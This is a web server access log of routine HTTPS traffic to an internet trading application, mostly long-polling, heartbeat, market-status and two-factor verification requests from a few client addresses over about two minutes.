[09/Jan/2026:11:10:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:10:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928533228 HTTP/1.1" -
[09/Jan/2026:11:10:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928524777 HTTP/1.1" -
[09/Jan/2026:11:10:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928522937 HTTP/1.1" -
[09/Jan/2026:11:10:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928539231 HTTP/1.1" -
[09/Jan/2026:11:10:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:10:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:10:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928529826 HTTP/1.1" -
[09/Jan/2026:11:10:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928527958 HTTP/1.1" -
[09/Jan/2026:11:11:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928545235 HTTP/1.1" -
[09/Jan/2026:11:11:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928535050 HTTP/1.1" -
[09/Jan/2026:11:11:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat2FAService HTTP/1.1" 1
[09/Jan/2026:11:11:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928532986 HTTP/1.1" -
[09/Jan/2026:11:11:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928551231 HTTP/1.1" -
[09/Jan/2026:11:11:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928540177 HTTP/1.1" -
[09/Jan/2026:11:11:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928538022 HTTP/1.1" -
[09/Jan/2026:11:11:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928557227 HTTP/1.1" -
[09/Jan/2026:11:11:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928545337 HTTP/1.1" -
[09/Jan/2026:11:11:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928543057 HTTP/1.1" -
[09/Jan/2026:11:11:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:11:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:11:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:11:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:11:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928550502 HTTP/1.1" -
[09/Jan/2026:11:11:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928548098 HTTP/1.1" -
[09/Jan/2026:11:11:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:11:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:11:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928563224 HTTP/1.1" -
[09/Jan/2026:11:11:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928553119 HTTP/1.1" -
[09/Jan/2026:11:11:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928555553 HTTP/1.1" -
[09/Jan/2026:11:11:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928569230 HTTP/1.1" -
[09/Jan/2026:11:11:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:11:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:11:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928558142 HTTP/1.1" -
[09/Jan/2026:11:11:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928560706 HTTP/1.1" -
[09/Jan/2026:11:11:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928575237 HTTP/1.1" -
[09/Jan/2026:11:11:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat2FAService HTTP/1.1" 1
[09/Jan/2026:11:11:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928563160 HTTP/1.1" -
[09/Jan/2026:11:11:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928565842 HTTP/1.1" -
[09/Jan/2026:11:11:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928581234 HTTP/1.1" -
[09/Jan/2026:11:11:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928568185 HTTP/1.1" -
[09/Jan/2026:11:11:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928571002 HTTP/1.1" -
[09/Jan/2026:11:11:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:11:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:11:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:11:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:11:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928587234 HTTP/1.1" -
[09/Jan/2026:11:11:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928573215 HTTP/1.1" -
[09/Jan/2026:11:11:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928576154 HTTP/1.1" -
[09/Jan/2026:11:11:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:11:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:11:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:11:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:11:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:11:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:11:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928578238 HTTP/1.1" -
[09/Jan/2026:11:11:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928593224 HTTP/1.1" -
[09/Jan/2026:11:11:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928581252 HTTP/1.1" -
[09/Jan/2026:11:11:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928583264 HTTP/1.1" -
[09/Jan/2026:11:11:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928586308 HTTP/1.1" -
[09/Jan/2026:11:11:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928599229 HTTP/1.1" -
[09/Jan/2026:11:11:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:11:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:11:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928588307 HTTP/1.1" -
[09/Jan/2026:11:11:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928591358 HTTP/1.1" -
[09/Jan/2026:11:12:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928605234 HTTP/1.1" -
[09/Jan/2026:11:12:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928593324 HTTP/1.1" -
[09/Jan/2026:11:12:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat2FAService HTTP/1.1" 1
[09/Jan/2026:11:12:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928596472 HTTP/1.1" -
[09/Jan/2026:11:12:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928611223 HTTP/1.1" -
[09/Jan/2026:11:12:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928598352 HTTP/1.1" -
[09/Jan/2026:11:12:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928601592 HTTP/1.1" -
[09/Jan/2026:11:12:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928617233 HTTP/1.1" -
[09/Jan/2026:11:12:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:12:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928603375 HTTP/1.1" -
[09/Jan/2026:11:12:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 123
[09/Jan/2026:11:12:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:12:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928606713 HTTP/1.1" -
[09/Jan/2026:11:12:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:12:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:12:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:12:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:12:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:12:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:12:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928608417 HTTP/1.1" -
[09/Jan/2026:11:12:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928623227 HTTP/1.1" -
[09/Jan/2026:11:12:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928611842 HTTP/1.1" -
[09/Jan/2026:11:12:22 +0800] 193.142.147.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:11:12:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928613438 HTTP/1.1" -
[09/Jan/2026:11:12:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928616897 HTTP/1.1" -
[09/Jan/2026:11:12:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928629231 HTTP/1.1" -
[09/Jan/2026:11:12:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:12:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:12:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928618474 HTTP/1.1" -
